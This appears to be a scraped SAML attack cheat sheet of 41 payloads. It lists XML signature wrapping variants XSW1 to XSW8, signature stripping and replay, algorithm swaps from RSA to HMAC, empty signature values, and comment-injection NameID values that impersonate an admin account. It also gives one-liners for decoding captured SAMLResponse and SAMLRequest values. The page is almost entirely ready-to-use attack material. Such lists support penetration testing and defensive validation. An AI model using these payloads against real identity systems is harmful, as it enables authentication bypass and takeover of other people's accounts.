$loading...
SAML authentication attack techniques covering XML signature wrapping (XSW), comment-injection canonicalization bugs, signature stripping, assertion tampering, IdP confusion, and recipient/audience validation flaws. (41 payloads)
SAMLResponse=PHNhbWxwOlJlc3BvbnNl... (base64 in POST body)echo 'SAMLResponse_value' | base64 -d | xmllint --format -python3 -c "import sys,base64,zlib,urllib.parse as u;print(zlib.decompress(base64.b64decode(u.unquote(sys.argv[1])),-15).decode())" '$SAMLRequest'https://sp.example.com/saml/metadata • https://idp.example.com/metadata<ds:X509Certificate> ... </ds:X509Certificate>Look for: <saml:Issuer>, Destination=, <saml:Audience>, Recipient=, NotOnOrAfter, InResponseToCompare HTTP-Redirect vs HTTP-POST handling of the same ResponseRemove the entire <ds:Signature> element from the Response, replay itSign only the <Response>, leave <Assertion> unsigned (or vice versa)Strip Signature from Assertion but keep Response signature, then mutate assertion<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>Set SignatureMethod to HMAC (xmldsig#hmac-sha1) instead of RSAEmpty <ds:SignatureValue></ds:SignatureValue> with a malformed Reference URIXSW1: clone signed Response, inject forged copy as sibling; original keeps the SignatureXSW2: same as XSW1 but with a detached signature (not enveloped) on the ResponseXSW3: insert forged Assertion as a sibling BEFORE the original signed AssertionXSW4: forged Assertion as sibling, but original signed Assertion nested INSIDE the forged oneXSW5: copy the Signature out; change the value of the originally-signed AssertionXSW6: original signed Assertion goes inside the copied Signature elementXSW7: add an <Extensions> element with the forged Assertion (same wsu:Id)XSW8: place the original signed Assertion inside an <Object> child of the Signature<saml:NameID>admin<!---->@victim.com</saml:NameID><saml:NameID>[email protected]<!-- -->[email protected]</saml:NameID>